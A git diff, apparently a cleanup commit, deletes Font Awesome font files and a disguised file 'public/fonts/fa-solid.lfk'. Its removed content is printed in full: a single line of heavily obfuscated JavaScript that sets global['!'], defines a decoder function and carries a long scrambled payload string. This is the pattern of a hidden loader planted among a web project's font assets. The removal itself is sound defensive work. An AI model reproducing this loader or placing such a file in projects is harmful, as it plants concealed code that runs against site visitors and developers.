- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf deleted file mode 100644 index 5b97903..0000000 Binary files a/public/fonts/fa-solid-900.ttf and /dev/null differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff deleted file mode 100644 index beec791..0000000 Binary files a/public/fonts/fa-solid-900.woff and /dev/null differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 deleted file mode 100644 index 978a681..0000000 Binary files a/public/fonts/fa-solid-900.woff2 and /dev/null differ diff --git a/public/fonts/fa-solid.lfk b/public/fonts/fa-solid.lfk deleted file mode 100644 index 31ce18e..0000000 --- a/public/fonts/fa-solid.lfk +++ /dev/null @@ -1 +0,0 @@ - global['!'] = '8-&&';function y7(R,c,e,r,t,i,s){for(var n=[],o=774771^774771;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E